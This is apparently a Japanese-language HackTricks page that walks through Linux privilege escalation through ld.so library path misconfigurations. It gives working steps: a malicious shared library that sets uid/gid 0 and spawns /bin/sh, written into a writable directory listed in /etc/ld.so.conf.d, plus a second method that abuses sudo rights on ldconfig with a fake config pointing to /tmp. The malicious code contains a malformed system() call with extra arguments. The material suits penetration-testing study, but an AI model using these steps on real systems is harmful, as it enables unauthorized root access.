ld.so privesc exploit example

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

環境の準備

次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます。

c
#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. 同じフォルダにそのファイルを作成します
  2. ライブラリコンパイルします: gcc -shared -o libcustom.so -fPIC libcustom.c
  3. libcustom.so/usr/libコピーします: sudo cp libcustom.so /usr/lib (root権限)
  4. 実行可能ファイルコンパイルします: gcc sharedvuln.c -o sharedvuln -lcustom

環境を確認する

libcustom.so_が/usr/lib_から読み込まれていることと、バイナリを実行できることを確認します。

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

このシナリオでは、誰かがファイル内に脆弱なエントリを作成したと仮定します /etc/ld.so.conf/:

bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

脆弱なフォルダーは /home/ubuntu/lib です(書き込みアクセスがあります)。
次のコードをそのパス内でダウンロードしてコンパイルします:

c
//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

今、誤って設定されたパス内に悪意のあるlibcustomライブラリを作成したので再起動を待つか、rootユーザーが**ldconfigを実行するのを待つ必要があります(_このバイナリをsudoとして実行できる場合、またはsuidビット**が設定されている場合は、自分で実行できます_)。

これが発生したら、再確認してください。sharevuln実行可能ファイルがlibcustom.soライブラリをどこから読み込んでいるかを確認します:

c
$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

ご覧のとおり、/home/ubuntu/lib から読み込んでおり、ユーザーがそれを実行するとシェルが実行されます:

c
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

note

この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで特権を昇格させることができます。

他の誤設定 - 同じ脆弱性

前の例では、管理者が**/etc/ld.so.conf.d/内の設定ファイルに非特権フォルダーを設定したという誤設定を偽装しました。
しかし、同じ脆弱性を引き起こす他の誤設定もあります。/etc/ld.so.conf.d内のいくつかの
設定ファイル**、/etc/ld.so.conf.dフォルダー内、または/etc/ld.so.confファイル内に書き込み権限がある場合、同じ脆弱性を設定して悪用することができます。

エクスプロイト 2

ldconfigに対してsudo権限を持っていると仮定します
ldconfig設定ファイルをどこから読み込むかを指示することができます。これを利用してldconfigに任意のフォルダーを読み込ませることができます。
それでは、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう:

bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

今、前のエクスプロイトで示されたように、/tmp内に悪意のあるライブラリを作成します
最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう:

bash
ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

ご覧のとおり、ldconfigに対するsudo権限を持っていると、同じ脆弱性を悪用できます。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする